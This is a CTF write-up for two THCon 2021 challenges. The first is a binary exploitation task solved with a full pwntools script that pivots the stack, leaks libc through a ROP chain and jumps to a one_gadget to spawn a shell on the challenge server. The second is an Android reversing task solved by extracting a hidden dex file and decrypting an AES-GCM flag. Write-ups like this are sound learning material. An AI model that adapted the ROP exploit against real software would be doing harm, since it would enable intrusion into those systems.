Tasks

  • Pwn💻
    • Tourniquet (249pts)
  • Rev🔎
    • Mission Impossible (246pts)

Tourniquet (Pwn, 249pts)

1.png
2.png
This is stack pivot problem without overwriting RET. First, our team planned to input more than 0x48 bytes to overwrite RET.

But, it has a constraint:

  • fgets(size, buf, stdin) set arguments from stdin to size.. so I can’t call containing stdin.
  • Should bruteforce(1/16) to get correct stack pointer.
  • Must do stack pivot until I find a writable memory after leaking libc.

So, I just DO STACK PIVOT 3 times, and find ONE 8byte memory.

The following process is my idea to get shell..

  1. Overwrite one byte of SFP to \x00 using fgets() function’s \n + \x00.
  2. Bruteforce correct position of RBP. and ROP with puts to get libc.
  3. stack pivot to main(mov rbp, rsp) twice (my solution in competition).(※ To go __start is another solution to get many memories that I can use for next ROP.)
  4. find one_gadget with strings and objdump command because gem one_gadget could’t get shell on remote.
  5. Get Shell.

Here is my payload.

from pwn import *
context.log_level='debug'
#context.terminal=['tmux','splitw','-h']
e=ELF("./tourniquet")
libc=ELF("./libc.so.6")
#libc=e.libc
pRdi=0x00000000004006d3
pRsi_r15=0x00000000004006d1
main=e.sym['main']
puts_got=e.got['puts']
puts_plt=e.plt['puts']
setvbuf_got=e.got['setvbuf']
rdx_offset=0x0000000000001b92
pppr=0x00000000004006cc
bss=0x601100
fgets=e.plt['fgets']

pay=p64(0x601100+0x40)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(0x400627)+p64(0x601100+0x40)+p64(0x400627)+"\x00"*7

while True:
  try:
    p=remote("remote2.thcon.party", 10901)
    #p=process("./tourniquet")
    p.sendlineafter("haha i'm unhackable right ?\n",pay)
    leak=p.recvuntil("\x7f",timeout=1).ljust(8,'\x00')
    if '\x7f' not in leak:
      p.close()
      continue
    base=u64(leak)-libc.sym['setvbuf']
    rdx=base+rdx_offset
    stdin=base+libc.sym['_IO_2_1_stdin_']
    one_gadget=base+0xe5418
    print hex(base)
    break
    #pay=p64(0x4004c6)*2+p64(07+............x00000000004004c6)+p64(pRdi)+p64(setvbuf_got)+p64(puts_plt)+p64(main)+"A"*7
  except:
    p.close()
    continue

pause()
p.recv()
p.sendline("1234")

pay=p64(0)*5+p64(0x1234)+p64(one_gadget)
pay=pay.ljust(0x3f,'\x00')

p.recv()
p.sendline(pay)

p.interactive()

Mission Impossible (Rev, 246pts)

  1. extract apk and convert dex to jar using dex2jar tools.
  2. There’s nothing ….:(
  3. find hidden dex files in `MissionImpossibleTheme.mp3.
  4. Get this Code with jd-gui.
package thcon21.ctf.payload;

import android.util.Base64;
import java.io.UnsupportedEncodingException;
import java.security.InvalidAlgorithmParameterException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.SecretKeySpec;

public class MIRead
{
  private static final String CIPHER_ALGO = "AES/GCM/NoPadding";
  private static final String IV = "your_m1ssi0n";
  private static final String KEY = "d0_you_acc3pt_it";
  private Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
  private GCMParameterSpec parameterSpec = new GCMParameterSpec(128, "your_m1ssi0n".getBytes("utf-8"));
  private SecretKeySpec secretKeySpec = new SecretKeySpec("d0_you_acc3pt_it".getBytes("utf-8"), "AES");
  
  public MIRead()
    throws NoSuchPaddingException, NoSuchAlgorithmException, UnsupportedEncodingException
  {}
  
  public String decrypt(String paramString)
    throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
  {
    paramString = Base64.decode(paramString.getBytes("UTF-8"), 0);
    this.cipher.init(2, this.secretKeySpec, this.parameterSpec);
    return new String(this.cipher.doFinal(paramString));
  }
  
  public String encrypt(String paramString)
    throws UnsupportedEncodingException, BadPaddingException, IllegalBlockSizeException, InvalidAlgorithmParameterException, InvalidKeyException
  {
    this.cipher.init(1, this.secretKeySpec, this.parameterSpec);
    return new String(Base64.encode(this.cipher.doFinal(paramString.getBytes("utf-8")), 0));
  }
}
public static void main(String[] paramArrayOfString)
  {
    testFlag();
    paramArrayOfString = paramArrayOfString[0];
    while (0 != 0) {}
    Object localObject = new StringBuilder();
    ((StringBuilder)localObject).append("IkUegPuai+gfBce7nTf");
    if ("IkUegPuai+gfBce7nTf" != "VEhDb24yMQo=")
    {
      ((StringBuilder)localObject).append("CkMZzZSwne3X3mnyrc5oBcD2yGHUXy");
    }
    else
    {
      ((StringBuilder)localObject).append("MissionImpossible");
      return;
    }
    ((StringBuilder)localObject).append("MMcjCaXX2AAY20H");
    localObject = ((StringBuilder)localObject).toString();
    if (paramArrayOfString.equals("MissionImpossible")) {
      System.out.println((String)localObject);
    }
  }

The secret code is IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H.
Then, how to decrypt?
→ this file uses AES/GCM/NoPadding Mode. So I find python code in google. So I modified code and get flag.

from Crypto.Cipher import AES
import base64

def print_hex_bytes(name, byte_array):
    print('{} len[{}]: '.format(name, len(byte_array)), end='')
    for idx, c in enumerate(byte_array):
        print("{:02x}".format(int(c)), end='')
    print("")

def dec(key, aad, nonce, cipher_data, mac):
    print('\nenter dec function ---------------------------------')
    cipher = AES.new(key, AES.MODE_GCM, nonce)

    try:
        plain_data = cipher.decrypt(cipher_data)
        print_hex_bytes('plain_data', plain_data)
        print('exit dec function ---------------------------------')      
        return plain_data

    except ValueError:
        print ("Key incorrect")
        print('exit dec function ---------------------------------')
        return None

if __name__ == "__main__":
    key   = b"d0_you_acc3pt_it"
    aad   = bytes([0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0A,0x0B,0x0C,0x0D,0x0E]) #
    nonce = b"your_m1ssi0n"

    cipher_data  = base64.b64decode(b"IkUegPuai+gfBce7nTfCkMZzZSwne3X3mnyrc5oBcD2yGHUXyMMcjCaXX2AAY20H")
    mac = bytes([0xb3, 0x5e, 0x5b, 0x00, 0xe4, 0x11, 0x54, 0x39, 0xa3, 0xf8, 0xf9, 0xfb, 0xa3, 0x75, 0xd5, 0xe8]) 
  
    print_hex_bytes('key', key)
    print_hex_bytes('aad', aad)
    print_hex_bytes('nonce', nonce)
    print_hex_bytes('cipher data', cipher_data)
    print_hex_bytes('mac', mac)

    result = dec(key, aad, nonce, cipher_data, mac)
    if result is not None:
        print('\nDecrypted value:')
        print_hex_bytes('\tresult(plain data)', result)
/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3 ex.py
key len[16]: 64305f796f755f6163633370745f6974
aad len[14]: 0102030405060708090a0b0c0d0e
nonce len[12]: 796f75725f6d31737369306e
cipher data len[48]: 22451e80fb9a8be81f05c7bb9d37c290c673652c277b75f79a7cab739a01703db2187517c8c31c8c26975f6000636d07
mac len[16]: b35e5b00e4115439a3f8f9fba375d5e8

enter dec function ---------------------------------
plain_data len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63
exit dec function ---------------------------------

Decrypted value:
        result(plain data) len[48]: 5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63

/mnt/d/CTF_List/2021/thcctf/rev/mission_impossible master* ⇣ ❯ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.  
>>> bytes.fromhex("5448436f6e32317b546831732d5761732d506f737331626c652d466f722d557d8c0cda62bc921356ee356da0fe457d63")
b'THCon21{Th1s-Was-Poss1ble-For-U}\x8c\x0c\xdab\xbc\x92\x13V\xee5m\xa0\xfeE}c'